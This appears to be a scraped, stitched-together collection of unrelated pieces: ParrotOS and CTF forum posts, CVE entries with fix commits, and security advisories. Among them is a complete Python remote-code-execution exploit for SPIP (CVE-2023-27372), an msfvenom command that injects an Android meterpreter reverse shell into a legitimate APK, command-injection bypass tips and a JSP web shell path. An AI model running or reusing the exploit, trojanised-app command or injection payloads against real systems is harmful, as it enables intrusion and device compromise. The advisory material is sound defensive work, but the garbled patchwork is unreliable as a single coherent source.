parrot_screen_reader_logo 690×500 14.3 KB When it comes to an offline Screen Reader there are options on Parrot like Orca or Festival , which are Accessibility-focused but normally this type of software is pointed towards usability -and over-complicated extensibility- more than voice quality, in this case we aim to a more Natural Voice , so articles, emails or chats can be heard without a so robotic tone. 1. Dependency Installs apt install libmp3-info-perl libmp3-tag-perl libsox-fmt-mp3 libunicode-string-perl sox xsel mpg321 python3-pip 2. gTTS Install This is why you require pip (Python Package Installer) also gTTS (Google Text-to-Speech), library and CLI tool to interface with Google Translate’s text-to-speech API, that’s what makes most of the job. pip install gTTS 3. Execution Scripts There are two ways to do this, the Manual way and the Manuel way. “Manual” Way CLI-ready, Select, Execute : Select a text placed anywhere on your desktop, xsel will pipeline the order on the CLI and you’ll hear the voice reading. English Voice xsel | gtts-cli --nocheck - | mpg321 - Spanish Voice xsel | gtts-cli --nocheck --lang es - | mpg321 - “Manuel” Way Just create a keyboard shortcut or keybinding: Parrot comes with MATE so you can just Add another one to the existing list, it’ll do the same work. Bind the command to a key combination e.g., Ctrl + Shift + R . English Voice bash -c "xsel | gtts-cli --nocheck - | mpg321 -" Spanish Voice bash -c "xsel | gtts-cli --nocheck --lang es - | mpg321 -" What’s next? Well, I would say being able to control the playing, like pause and resume functions, a GUI maybe? However, if you know an existing implementation (or have made one) for such things you can PM me anytime here or over the Telegram groups and make great things with this one.


You need to format the pen-drive to X Fats [it has more capabilities than fats 32] the SHA sum is given on the download page before you hit the button try Balena etcher not Rufus the age, previous use and quality of the pen-drive can all affect its performance, I always recommend a good quality branded one preferably not exceeding 16gb cheap ones are fine for storage but often give trouble as a bootable ISO. you will find a link explaining how to check your SHA halfway down my how do I guide Linux Tips – 26 Jan 22 How Do I Install Linux (A General Guide) • Linux Tips Today, I will try to answer one of the most common questions asked by the newcomer to Linux; “How do I install Linux” Est. reading time: 5 minutes


CVE: CVE-2022-21740

[{'lang': 'en', 'value': 'Tensorflow is an Open Source Machine Learning Framework. The implementation of `SparseCountSparseOutput` is vulnerable to a heap overflow. The fix will be included in TensorFlow 2.8.0. We will also cherrypick this commit on TensorFlow 2.7.1, TensorFlow 2.6.3, and TensorFlow 2.5.3, as these are also affected and still in supported range.'}]

Fix commit: Further validate sparse tensor for `SparseCount`: indices must be valid within dense shape.

PiperOrigin-RevId: 414888122
Change-Id: I4552bd74c135ecd4bcb5448acc0a3ce9402d8286


Hello. It’s not about ParrotOS as you are talking about a hardware component, however no, it’s nothing weird, you just bought a plug-and-play adapter (the drivers should already be installed in the distro). I would suggest you to better read the technical specifications of this wifi adapter.


heck cybrary.it, opensecuritytraining.info And then check Offensive Computer Security on hackallthethings also


OpenStack Glance Denial of service by creating a large number of images

[Severity: HIGH]

OpenStack Image Registry and Delivery Service (Glance) 2014.2 through 2014.2.2 does not properly remove images, which allows remote authenticated users to cause a denial of service (disk consumption) by creating a large number of images using the task v2 API and then deleting them before the uploads finish, a different vulnerability than CVE-2015-1881.


Hi, You have to find a Command Injection Method (||), from there t’r’y different bypass methods. Using and bypass method for / should work.


ChakraCore RCE Vulnerability

[Severity: HIGH]

A remote code execution vulnerability exists in the way that the Chakra scripting engine handles objects in memory in Microsoft Edge, aka "Chakra Scripting Engine Memory Corruption Vulnerability." This affects Microsoft Edge, ChakraCore. This CVE ID is unique from CVE-2018-8503, CVE-2018-8510, CVE-2018-8511, CVE-2018-8513.


Hey @Rapunzel3000 were you able to figure this out? I am also stuck on trying to use the rockyou-30 wordlist. I tried cleaning up the wordlist but no luck so far due to not having the permissions to use sed


CVE: CVE-2022-31084

[{'lang': 'en', 'value': 'LDAP Account Manager (LAM) is a webfrontend for managing entries (e.g. users, groups, DHCP settings) stored in an LDAP directory. In versions prior to 8.0 There are cases where LAM instantiates objects from arbitrary classes. An attacker can inject the first constructor argument. This can lead to code execution if non-LAM classes are instantiated that execute code during object creation. This issue has been fixed in version 8.0.'}]

Fix commit: Merge pull request from GHSA-r387-grjx-qgvw

Fixes


CVE: CVE-2022-29200

[{'lang': 'en', 'value': 'TensorFlow is an open source platform for machine learning. Prior to versions 2.9.0, 2.8.1, 2.7.2, and 2.6.4, the implementation of `tf.raw_ops.LSTMBlockCell` does not fully validate the input arguments. This results in a `CHECK`-failure which can be used to trigger a denial of service attack. The code does not validate the ranks of any of the arguments to this API call. This results in `CHECK`-failures when the elements of the tensor are accessed. Versions 2.9.0, 2.8.1, 2.7.2, and 2.6.4 contain a patch for this issue.'}]

Fix commit: Fix security vulnerability with LSTMBlockCellOp

PiperOrigin-RevId: 446028341


I am a hardware man not a hacker, from my point of view TP-Link products are pretty good, the only possible problem is you may need an alternative web connection to download any chip specific drivers, TP use Realtek chipsets


Authlogic Information Exposure vulnerability

[Severity: MEDIUM]

The Authlogic gem for Ruby on Rails prior to version 3.3.0 makes potentially unsafe `find_by_id` method calls, which might allow remote attackers to conduct CVE-2012-6496 SQL injection attacks via a crafted parameter in environments that have a known secret_token value, as demonstrated by a value contained in `secret_token.rb` in an open-source product.


How can you make the shell script run up when parrot operation system boot up?

I want to run a shell script when parrot boot,but I went through all about how to get the shell script boot to run automatically and still have no clue.


CVE: CVE-2022-0326

[{'lang': 'en', 'value': 'NULL Pointer Dereference in Homebrew mruby prior to 3.2.'}]

Fix commit: codegen.c: no `OP_HASHADD` required when `val` is false.


Empire error on running

i have this error ──╼ $./empire File “/home/karbar/Empire/./empire”, line 35 print ‘[ ] Fresh start in docker, running reset.sh for you’ ^ SyntaxError: Missing parentheses in call to ‘print’. Did you mean print(’[ ] Fresh start in docker, running reset.sh for you’)?


2 years Cyberbullying on Insta - Help!

Hey All, I need help! My partner has been cyber-bullied, defamed and harassed by a random person on several fake Instagram accounts for the past 2 years. We are from a religious family so it is upsetting what rumours they have been spreading around my/her extended family/friends' and public posts. If you can help me locate this person so I can stop them, it would seriously change mine and her life. I have screenshots of some account names on public posts - they seem to deactivate the accounts then re-activate when they want to attack. Thank you for taking the time to read this. I hope there is help! Kind Regards


CVE: CVE-2022-1767

[{'lang': 'en', 'value': 'Server-Side Request Forgery (SSRF) in GitHub repository jgraph/drawio prior to 18.0.7.'}]

Fix commit: 18.0.7 release


CVE: CVE-2022-25854

[{'lang': 'en', 'value': 'This affects the package @yaireo/tagify before 4.9.8. The package is used for rendering UI components inside the input or text fields, and an attacker can pass a malicious placeholder value to it to fire the XSS payload.'}]

Fix commit: fixes #989 - fix XSS


This topic was automatically closed 120 days after the last reply. New replies are no longer allowed.


CVE: CVE-2021-25981

[{'lang': 'en', 'value': 'In Talkyard, regular versions v0.2021.20 through v0.2021.33 and dev versions v0.2021.20 through v0.2021.34, are vulnerable to Insufficient Session Expiration. This may allow an attacker to reuse the admin’s still-valid session token even when logged-out, to gain admin privileges, given the attacker is able to obtain that token (via other, hypothetical attacks)'}]

Fix commit: Better session ids, 5 parts, feature flag to enable.


CVE: CVE-2022-0822

[{'lang': 'en', 'value': 'Cross-site Scripting (XSS) - Reflected in GitHub repository orchardcms/orchardcore prior to 1.3.0.'}]

Fix commit: Fix missing permission checks and encoding. (#11344)


I don’t know if this is still relevant, but you should think where you could else use the found credentials.


CVE: CVE-2022-1988

[{'lang': 'en', 'value': 'Cross-site Scripting (XSS) - Generic in GitHub repository neorazorx/facturascripts prior to 2022.09.'}]

Fix commit: - Añadida comprobación de html en descripción al test unitario del modelo cuenta.
- Eliminado el test unitario de subcuenta por obsoleto. Se creará uno nuevo a continuación.


I do not want to spoil here. You can DM me if you still need help.


ChakraCore RCE Vulnerability

[Severity: HIGH]

A remote code execution vulnerability exists in the way that the Chakra scripting engine handles objects in memory in Microsoft Edge, aka "Chakra Scripting Engine Memory Corruption Vulnerability." This affects Microsoft Edge, ChakraCore. This CVE ID is unique from CVE-2018-8280, CVE-2018-8286, CVE-2018-8294.


JWS and JWT signature validation vulnerability with special characters

[Severity: HIGH]

### Impact

Jsrsasign supports JWS(JSON Web Signatures) and JWT(JSON Web Token) validation. However JWS or JWT signature with non Base64URL encoding special characters or number escaped characters may be validated as valid by mistake.

For example, even if a string of non Base64URL encoding characters such as `!@$%` or `\11` is inserted into a valid JWS or JWT signature value string, it will still be a valid JWS or JWT signature by mistake.

When jsrsasign's JWS or JWT validation is used in OpenID connect or OAuth2, this vulnerability will affect to authentication or authorization.

By our internal assessment, CVSS 3.1 score will be 8.6.
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:H/A:N

### Patches
Users validate JWS or JWT signatures should upgrade to 10.5.25.

### Workarounds
Validate JWS or JWT signature if it has Base64URL and dot safe string before
executing JWS.verify() or JWS.verifyJWT() method.

### ACKNOWLEDGEMENT

Thanks to Adi Malyanker and Or David for this vulnerability report. Also thanks for [Snyk security team](https://snyk.io/) for this coordination.

### References
https://github.com/kjur/jsrsasign/releases/tag/10.5.25
https://github.com/kjur/jsrsasign/security/advisories/GHSA-3fvg-4v2m-98jf kjur's advisories
https://github.com/advisories/GHSA-3fvg-4v2m-98jf github advisories
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-25898
https://kjur.github.io/jsrsasign/api/symbols/KJUR.jws.JWS.html#.verifyJWT
https://kjur.github.io/jsrsasign/api/symbols/KJUR.jws.JWS.html#.verify
https://kjur.github.io/jsrsasign/api/symbols/global__.html#.isBase64URLDot
https://github.com/kjur/jsrsasign/wiki/Tutorial-for-JWS-verification
https://github.com/kjur/jsrsasign/wiki/Tutorial-for-JWT-verification
https://security.snyk.io/vuln/SNYK-JS-JSRSASIGN-2869122


[Heap Overflow] CVE-2023-38545: socks5 heap buffer overflow

# Summary:

The SOCKS5 state machine can be manipulated by a remote attacker to overflow heap memory if four conditions are met:

1. The request is made via socks5h.
2. The state machine's negotiation buffer is smaller than ~65k.
3. The SOCKS server's "hello" reply is delayed.
4. The attacker sets a final destination hostname larger than the negotiation
buffer.

libcurl is supposed to disable SOCKS5 remote hostname resolution for hostnames larger than 255 but will not due to a state machine bug.

For example tor user running libcurl app with follow location that connects to rogue onion server that replies with payload in `Location:` header which causes crash or worse.

# Walkthrough:

`do_SOCKS` initializes local variable `socks5_resolve_local` depending on the `CURLPROXY_` name. There are two relevant names for this state machine:

- `CURLPROXY_SOCKS5` (SOCKS5 with local resolve of dest host)
- `CURLPROXY_SOCKS5_HOSTNAME` (SOCKS5 with remote resolve of dest host)

[Code:](https://github.com/curl/curl/blob/curl-8_3_0/lib/socks.c#L573-L574)
~~~c
  bool socks5_resolve_local =
    (conn->socks_proxy.proxytype == CURLPROXY_SOCKS5) ? TRUE : FALSE;
~~~

For this scenario, `CURLPROXY_SOCKS5_HOSTNAME` is the name and `socks5_resolve_local` is initialized FALSE.

The `do_SOCKS` state machine is entered for the first time for the connection. `sx->state` is `CONNECT_SOCKS_INIT` (which happens to be the first label). In that state the hostname length is checked and if too long to resolve remotely (>255) then it sets `socks5_resolve_local` to TRUE.

[Code:](https://github.com/curl/curl/blob/curl-8_3_0/lib/socks.c#L588-L593)
~~~c
    /* RFC1928 chapter 5 specifies max 255 chars for domain name in packet */
    if(!socks5_resolve_local && hostname_len > 255) {
      infof(data, "SOCKS5: server resolving disabled for hostnames of "
            "length > 255 [actual len=%zu]", hostname_len);
      socks5_resolve_local = TRUE;
    }
~~~

The local variable `socks5_resolve_local` is changed but, because this is a state machine, subsequent calls to `do_SOCKS` are in a different state and do not make the same change. ==**This is the bug.**==

For this scenario, the hostname is longer than 255 characters and `do_SOCKS` is on a subsequent call, which means `socks5_resolve_local` remains FALSE. This can happen by chance or be forced by an attacker.

The client "hello" SOCKS packet contains available methods and is sent to the server. State `CONNECT_SOCKS_READ_INIT` => `CONNECT_SOCKS_READ` is entered to parse the server "hello" packet (method selection reply). The server has not yet replied so `do_SOCKS` returns `CURLPX_OK`.

[Code:](https://github.com/curl/curl/blob/curl-8_3_0/lib/socks.c#L640-L662)
~~~c
CONNECT_SOCKS_READ_INIT:
  case CONNECT_SOCKS_READ_INIT:
    sx->outstanding = 2; /* expect two bytes */
    sx->outp = socksreq; /* store it here */
    /* FALLTHROUGH */
  case CONNECT_SOCKS_READ:
    presult = socks_state_recv(cf, sx, data, CURLPX_RECV_CONNECT,
                               "initial SOCKS5 response");
    if(CURLPX_OK != presult)
      return presult;
    else if(sx->outstanding) {
      /* remain in reading state */
      return CURLPX_OK;
    }
    else if(socksreq[0] != 5) {
      failf(data, "Received invalid version in initial SOCKS5 response.");
      return CURLPX_BAD_VERSION;
    }
    else if(socksreq[1] == 0) {
      /* DONE! No authentication needed. Send request. */
      sxstate(sx, data, CONNECT_REQ_INIT);
      goto CONNECT_REQ_INIT;
    }
~~~

On a subsequent call `do_SOCKS` is in the same state where it's waiting for the initial server reply. If the reply is valid, and in this scenario it is, then the state machine will goto `CONNECT_REQ_INIT` which will goto `CONNECT_RESOLVE_REMOTE` since `socks5_resolve_local` is FALSE.

[Code:](https://github.com/curl/curl/blob/curl-8_3_0/lib/socks.c#L781-L797)
~~~c
CONNECT_REQ_INIT:
  case CONNECT_REQ_INIT:
    if(socks5_resolve_local) {
      enum resolve_t rc = Curl_resolv(data, sx->hostname, sx->remote_port


If you are very beginner then Try Tryhackme . Here you will find a much more constructive guideline. Besides learning you should practice A LOT. Play CTF time to time. You will learn much faster by playing ctf, reading writeups, watching tutorials. Best wishes.


CVE: CVE-2022-24746

[{'lang': 'en', 'value': 'Shopware is an open commerce platform based on the Symfony php Framework and the Vue javascript framework. In affected versions it is possible to inject code via the voucher code form. This issue has been patched in version 6.4.8.1. There are no known workarounds for this issue.'}]

Fix commit: NEXT-19276 - Add filtering to promotion and product codes


When I am trying to dnsemum a server I keep getting query timed out. The script I am running is $ dnsenum --dnsserver 127.0.0.1 --enum -p 0 -s 0 -o subdomains.txt -f /opt/useful/SecLists/Discovery/DNS/subdomains-top1million-110000.txt ns.inlanefreight.htb I’m clearly doing something wrong but I cannot seem to figure it out can anyone please support? Simple step by step would be great as Iam Neurodiverse and reading between the lines isn’t a strength of mine haha


How I spot I've been backdoored.

From some days I was testing some free rats/obfuscators from github on my main host. I am not sure if I’ve been backdoored. Is there any way to check that. As I really setup my parrot for couple of days and don’t want to install it fresh again. Sometimes when I am out of my PC I can hear a noise from windmill.


msfconsole not importing new custom private modules into the db

After following every importation steps from the rapid7 doc correctly msfconsole is still not importing my private modules into the database. The steps I am taking are mkdir -p /root/.msf4/modules/exploits/name/name then I copy with cp -r my code from the dir where it is and after that I ran updatedb.


CVE: CVE-2022-31081

[{'lang': 'en', 'value': "HTTP::Daemon is a simple http server class written in perl. Versions prior to 6.15 are subject to a vulnerability which could potentially be exploited to gain privileged access to APIs or poison intermediate caches. It is uncertain how large the risks are, most Perl based applications are served on top of Nginx or Apache, not on the `HTTP::Daemon`. This library is commonly used for local development and tests. Users are advised to update to resolve this issue. Users unable to upgrade may add additional request handling logic as a mitigation. After calling `my $rqst = $conn->get_request()` one could inspect the returned `HTTP::Request` object. Querying the 'Content-Length' (`my $cl = $rqst->header('Content-Length')`) will show any abnormalities that should be dealt with by a `400` response. Expected strings of 'Content-Length' SHOULD consist of either a single non-negative integer, or, a comma separated repetition of that number. (that is `42` or `42, 42, 42`). Anything else MUST be rejected."}]

Fix commit: Fix Content-Length ', '-separated string issues

After a security issue, we ensure we comply to
RFC-7230 -- HTTP/1.1 Message Syntax and Routing
- section 3.3.2 -- Content-Length
- section 3.3.3 -- Message Body Length


Click on avatar, next find and click on preferences, [this normally will open your account details] if not click on account. Next to your username should be a pencil symbol, click on this to edit your username.


SPIP v4.2.0 - Remote Code Execution (Unauthenticated)

#!/usr/bin/env python3
# -*- coding: utf-8 -*-

# Exploit Title: SPIP v4.2.1 - Remote Code Execution (Unauthenticated)
# Google Dork: inurl:"/spip.php?page=login"
# Date: 19/06/2023
# Exploit Author: nuts7 (https://github.com/nuts7/CVE-2023-27372)
# Vendor Homepage: https://www.spip.net/
# Software Link: https://files.spip.net/spip/archives/
# Version: < 4.2.1 (Except few fixed versions indicated in the description)
# Tested on: Ubuntu 20.04.3 LTS, SPIP 4.0.0
# CVE reference : CVE-2023-27372 (coiffeur)
# CVSS : 9.8 (Critical)
#
# Vulnerability Description:
#
# SPIP before 4.2.1 allows Remote Code Execution via form values in the public area because serialization is mishandled. Branches 3.2, 4.0, 4.1 and 4.2 are concerned. The fixed versions are 3.2.18, 4.0.10, 4.1.8, and 4.2.1.
# This PoC exploits a PHP code injection in SPIP. The vulnerability exists in the `oubli` parameter and allows an unauthenticated user to execute arbitrary commands with web user privileges.
#
# Usage: python3 CVE-2023-27372.py http://example.com

import argparse
import bs4
import html
import requests

def parseArgs():
    parser = argparse.ArgumentParser(description="Poc of CVE-2023-27372 SPIP < 4.2.1 - Remote Code Execution by nuts7")
    parser.add_argument("-u", "--url", default=None, required=True, help="SPIP application base URL")
    parser.add_argument("-c", "--command", default=None, required=True, help="Command to execute")
    parser.add_argument("-v", "--verbose", default=False, action="store_true", help="Verbose mode. (default: False)")
    return parser.parse_args()

def get_anticsrf(url):
    r = requests.get('%s/spip.php?page=spip_pass' % url, timeout=10)
    soup = bs4.BeautifulSoup(r.text, 'html.parser')
    csrf_input = soup.find('input', {'name': 'formulaire_action_args'})
    if csrf_input:
        csrf_value = csrf_input['value']
        if options.verbose:
            print("[+] Anti-CSRF token found : %s" % csrf_value)
        return csrf_value
    else:
        print("[-] Unable to find Anti-CSRF token")
        return -1

def send_payload(url, payload):
    data = {
        "page": "spip_pass",
        "formulaire_action": "oubli",
        "formulaire_action_args": csrf,
        "oubli": payload
    }
    r = requests.post('%s/spip.php?page=spip_pass' % url, data=data)
    if options.verbose:
        print("[+] Execute this payload : %s" % payload)
    return 0

if __name__ == '__main__':
    options = parseArgs()

    requests.packages.urllib3.disable_warnings()
    requests.packages.urllib3.util.ssl_.DEFAULT_CIPHERS += ':HIGH:!DH:!aNULL'
    try:
        requests.packages.urllib3.contrib.pyopenssl.util.ssl_.DEFAULT_CIPHERS += ':HIGH:!DH:!aNULL'
    except AttributeError:
        pass

    csrf = get_anticsrf(url=options.url)
    send_payload(url=options.url, payload="s:%s:\"<?php system('%s'); ?>\";" % (20 + len(options.command), options.command))


if you run ‘apt list --installed’ first line of output is ‘Listing… Done’ so you need to exclude that line. To get the correct answer command should be ‘apt list --installed | grep “installed” | wc -l’ this will exclude the first line of the output.


OffSec Metasploit Unleashed - Free Online Ethical Hacking Course Metasploit Unleashed (MSFU) is a Free Online Ethical Hacking Course by Offensive Security, which benefits Hackers for Charity. Learn how to use Metasploit. Est. reading time: 1 minute


It’s awesome that you’re diving into the world of Penetration Testing and tackling those CTF challenges. They can be mind-bending, right?


palak231 said: ↑ Hi this is Palak Sharma. I have completed my engineering and lots of programming languages I learn from here. Python is also my favorite programming language however it was not part of our syllabus but I learn little bit about Python Programming Language from internet. Now I want to enhance my skills and my coding in this programming language, can anyone suggest some best online courses for learning Python Programming Language. Waiting for some positive responses. Thanks Click to expand...


CVE: CVE-2022-1346

[{'lang': 'en', 'value': "Multiple Stored XSS in GitHub repository causefx/organizr prior to 2.1.1810. This allows attackers to execute malicious scripts in the user's browser and it can lead to session hijacking, sensitive data exposure, and worse."}]

Fix commit: added sanitizeUserString and sanitizeEmail functions
added sanitize to uploaded image names
added sanitize to tabs, categories, users and bookmarks
removed svg files from approved image lists


CVE: CVE-2022-1785

[{'lang': 'en', 'value': 'Out-of-bounds Write in GitHub repository vim/vim prior to 8.2.4977.'}]

Fix commit: patch 8.2.4977: memory access error when substitute expression changes window

Problem:    Memory access error when substitute expression changes window.
Solution:   Disallow changing window in substitute expression.


You’re almost there. You don’t really need the part after the base64 code (%26from=51459716.txt%26finish=1%26move=1 After to= the encoding is incorrect. Try %7c***bash<<< instead. (Replace *** with the encoded characters). You don’t have to encode <<< either.


"catalog's registry v2 api exposed on unauthenticated path in Harbor"

[Severity: MEDIUM]

### **Impact**
Javier Provecho, member of the TCCT (Telefonica Cloud & Cybersecurity Tech better known as ElevenPaths) SRE team discovered a vulnerability regarding Harbor’s v2 API.

The catalog’s registry v2 api is exposed on an unauthenticated path. The current catalog API path is served at the following path and it requires to be authenticated as an admin.

"GET /v2/_catalog"

However, the authorization can be bypassed by using the following path

"GET /v2/_catalog/"

### **Patches**
If your product uses the affected releases of Harbor, update to either version v2.1.2 or v2.0.5 to fix this issue immediately

https://github.com/goharbor/harbor/releases/tag/v2.1.2
https://github.com/goharbor/harbor/releases/tag/v2.0.5

### **Workarounds**
If you cannot access a patched release, it can be mitigated by disabling that API. For example, redirecting it to a 404 sink hole in the ingress.

### **For more information**
If you have any questions or comments about this advisory, contact cncf-harbor-security@lists.cncf.io
View our security policy at https://github.com/goharbor/harbor/security/policy
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-29662


jsx-slack insufficient patch for CVE-2021-43838 ReDoS

[Severity: MEDIUM]

We found the patch for CVE-2021-43838 in jsx-slack v4.5.1 is insufficient to save from Regular Expression Denial of Service (ReDoS) attack.

This vulnerability affects to jsx-slack v4.5.1 and earlier versions.

### Impact

If attacker can put a lot of JSX elements into `<blockquote>` tag _with including multibyte characters_, an internal regular expression for escaping characters may consume an excessive amount of computing resources.

```javascript
/** @jsxImportSource jsx-slack */
import { Section } from 'jsx-slack'

console.log(
  <Section>
    <blockquote>
      {[...Array(40)].map(() => (
        <p>亜</p>
      ))}
    </blockquote>
  </Section>
)
```

v4.5.1 has released by passing the test against ASCII characters but missed the case of multibyte characters.
https://github.com/yhatt/jsx-slack/security/advisories/GHSA-55xv-f85c-248q

### Patches

jsx-slack v4.5.2 has updated regular expressions for escaping blockquote characters to prevent catastrophic backtracking. It is also including an updated test case to confirm rendering multiple tags in `<blockquote>` with multibyte characters.

### References

- https://github.com/yhatt/jsx-slack/commit/46bc88391d89d5fda4ce689e18ca080bcdd29ecc

### Credits

Thanks to @hieki for finding out this vulnerability.


CVE: CVE-2021-43860

[{'lang': 'en', 'value': 'Flatpak is a Linux application sandboxing and distribution framework. Prior to versions 1.12.3 and 1.10.6, Flatpak doesn\'t properly validate that the permissions displayed to the user for an app at install time match the actual permissions granted to the app at runtime, in the case that there\'s a null byte in the metadata file of an app. Therefore apps can grant themselves permissions without the consent of the user. Flatpak shows permissions to the user during install by reading them from the "xa.metadata" key in the commit metadata. This cannot contain a null terminator, because it is an untrusted GVariant. Flatpak compares these permissions to the *actual* metadata, from the "metadata" file to ensure it wasn\'t lied to. However, the actual metadata contents are loaded in several places where they are read as simple C-style strings. That means that, if the metadata file includes a null terminator, only the content of the file from *before* the terminator gets compared to xa.metadata. Thus, any permissions that appear in the metadata file after a null terminator are applied at runtime but not shown to the user. So maliciously crafted apps can give themselves hidden permissions. Users who have Flatpaks installed from untrusted sources are at risk in case the Flatpak has a maliciously crafted metadata file, either initially or in an update. This issue is patched in versions 1.12.3 and 1.10.6. As a workaround, users can manually check the permissions of installed apps by checking the metadata file or the xa.metadata key on the commit metadata.'}]

Fix commit: Ensure that bundles have metadata on install

If we have a bundle without metadata we wouldn't properly present
the permissions in the transaction.


CVE: CVE-2022-24738

[{'lang': 'en', 'value': 'Evmos is the Ethereum Virtual Machine (EVM) Hub on the Cosmos Network. In versions of evmos prior to 2.0.1 attackers are able to drain unclaimed funds from user addresses. To do this an attacker must create a new chain which does not enforce signature verification and connects it to the target evmos instance. The attacker can use this joined chain to transfer unclaimed funds. Users are advised to upgrade. There are no known workarounds for this issue.'}]

Fix commit: Merge pull request from GHSA-5jgq-x857-p8xw

* fix: only enable claims from authorized channels

* changelog

* changelog 2

* fix tests

* rename to authorized

* update forks

* upgrade height

* check for EVM chains

* bonded ration adjustment

* update genesis

* fixes

* swagger


Solved it. Just needed to specify ‘warfiles’ directory inside the archive, that was created by the script, like: /cmd/warfiles/cmd.jsp?cmd=id


CVE: CVE-2022-2264

[{'lang': 'en', 'value': 'Heap-based Buffer Overflow in GitHub repository vim/vim prior to 9.0.'}]

Fix commit: patch 9.0.0011: reading beyond the end of the line with put command

Problem:    Reading beyond the end of the line with put command.
Solution:   Adjust the end mark position.


ChakraCore RCE Vulnerability

[Severity: HIGH]

A remote code execution vulnerability exists in the way that the Chakra scripting engine handles objects in memory in Microsoft Edge, aka "Chakra Scripting Engine Memory Corruption Vulnerability." This affects Microsoft Edge, ChakraCore. This CVE ID is unique from CVE-2018-8465, CVE-2018-8466, CVE-2018-8467.


hello evryone as mentioned above by others is better to use echo $var | wc -c using the length count gives and error.hopefully your code is also well written


Input key

White joining the event it is asking me input key, where am I supposed to get it?


CVE: CVE-2022-23577

[{'lang': 'en', 'value': 'Tensorflow is an Open Source Machine Learning Framework. The implementation of `GetInitOp` is vulnerable to a crash caused by dereferencing a null pointer. The fix will be included in TensorFlow 2.8.0. We will also cherrypick this commit on TensorFlow 2.7.1, TensorFlow 2.6.3, and TensorFlow 2.5.3, as these are also affected and still in supported range.'}]

Fix commit: Prevent null dereference read in `GetInitOp`.

We have a map of maps. We test that the key exists in the first map but then we don't have any validation that this also means the second map has the needed key. In the scenarios where this is not the case, we'll dereference a nullptr, if we don't have this check

PiperOrigin-RevId: 408739325
Change-Id: If9bb7ed759aba1f3b56a34913f209508dbaf65ce


CVE: CVE-2022-29201

[{'lang': 'en', 'value': 'TensorFlow is an open source platform for machine learning. Prior to versions 2.9.0, 2.8.1, 2.7.2, and 2.6.4, the implementation of `tf.raw_ops.QuantizedConv2D` does not fully validate the input arguments. In this case, references get bound to `nullptr` for each argument that is empty. Versions 2.9.0, 2.8.1, 2.7.2, and 2.6.4 contain a patch for this issue.'}]

Fix commit: Fix undefined behavior in QuantizedConv2D

Added more input validation and tests.  Prior to this, we could get
`nullptr` exceptions when attempting to access 0th elements of 0-sized
inputs, leading to security vulnerability bugs.

Also needed to modify `quantized_conv_ops_test.cc` for consistency.
Previously the CPU kernel did technically support passing tensors
of rank larger than 0 for min/max values.  However, the XLA kernels do not.

PiperOrigin-RevId: 445518507


CVE: CVE-2022-23589

[{'lang': 'en', 'value': 'Tensorflow is an Open Source Machine Learning Framework. Under certain scenarios, Grappler component of TensorFlow can trigger a null pointer dereference. There are 2 places where this can occur, for the same malicious alteration of a `SavedModel` file (fixing the first one would trigger the same dereference in the second place). First, during constant folding, the `GraphDef` might not have the required nodes for the binary operation. If a node is missing, the correposning `mul_*child` would be null, and the dereference in the subsequent line would be incorrect. We have a similar issue during `IsIdentityConsumingSwitch`. The fix will be included in TensorFlow 2.8.0. We will also cherrypick this commit on TensorFlow 2.7.1, TensorFlow 2.6.3, and TensorFlow 2.5.3, as these are also affected and still in supported range.'}]

Fix commit: Prevent null pointer dereference in `mutable_graph_view`

PiperOrigin-RevId: 409684472
Change-Id: I577eb9d9ac470fcec0501423171e739a4ec0cb5c


that’s still a bruteforce unless you did it without using the script but even entering them 1 by one is just manual bruteforce?


apktool error after installing openjdk version 8 and recompiling it

msfvenom -x /home/drevello/Desktop/apks/MX.apk -p android/meterpreter/reverse_tcp LHOST=192.168.42.65 LPORT=19999 R >bind.apk Using APK template: /home/drevello/Desktop/apks/MX.apk [-] No platform was selected, choosing Msf::Module::Platform::Android from the payload [-] No arch selected, selecting arch: dalvik from the payload [ ] Creating signing key and keystore… [ ] Decompiling original APK… [ ] Decompiling payload APK… [ ] Locating hook point… [ ] Adding payload as package com.mixplorer.qnevh [ ] Loading /tmp/d20230202-3624-16hk09k/original/smali/com/mixplorer/AppImpl.smali and injecting payload… [ ] Poisoning the manifest with meterpreter permissions… [ ] Adding [ ] Adding [ ] Adding [ ] Adding [ ] Adding [ ] Adding [ ] Adding [ ] Adding [ ] Adding [ ] Adding [ ] Adding [ ] Adding [ ] Adding [ ] Adding [ ] Rebuilding apk with meterpreter injection as /tmp/d20230202-3624-16hk09k/output.apk [-] I: Using Apktool 2.5.0-dirty I: Checking whether sources has changed… I: Smaling smali folder into classes.dex… Exception in thread “main” java.lang.NoSuchMethodError: java.nio.ByteBuffer.clear()Ljava/nio/ByteBuffer; at org.jf.dexlib2.writer.DexWriter.writeAnnotationDirectories(DexWriter.java:919) at org.jf.dexlib2.writer.DexWriter.writeTo(DexWriter.java:344) at org.jf.dexlib2.writer.DexWriter.writeTo(DexWriter.java:300) at brut.androlib.src.SmaliBuilder.build(SmaliBuilder.java:61) at brut.androlib.src.SmaliBuilder.build(SmaliBuilder.java:36) at brut.androlib.Androlib.buildSourcesSmali(Androlib.java:420) at brut.androlib.Androlib.buildSources(Androlib.java:351) at brut.androlib.Androlib.build(Androlib.java:303) at brut.androlib.Androlib.build(Androlib.java:270) at brut.apktool.Main.cmdBuild(Main.java:259) at brut.apktool.Main.main(Main.java:85) Error: apktool execution failed i was using apkbinder script it uses apktool to bind payload and original app and i got this error my hardware and software info: OS: Parrot OS 5.1 (Electro Ara) x86_6 Kernel: 6.0.0-12parrot1-amd64 Uptime: 46 mins Packages: 3259 (dpkg) Shell: bash 5.1.4 Resolution: 1440x900 WM: Metacity (Marco) Theme: ARK-Dark [GTK2/3] Icons: ara [GTK2/3] Terminal: mate-terminal CPU: AMD A6-7480 Radeon R5 2C+6G (2) GPU: AMD ATI Radeon R5/R6/R7 Graphics Memory: 1564MiB / 7399MiB apktool Apktool v2.5.0-dirty - a tool for reengineering Android apk files with smali v2.4.0-debian and baksmali v2.4.0-debian metasploit Framework Version: 6.2.32-dev anyone has solutions


if anyone is stuck on how to get the flag when you got RCE, remember that you cant use LFI if you dont know the path of your target. in other words once you got RCE find the file you need then you can access it with LFI


OpenVas Installation

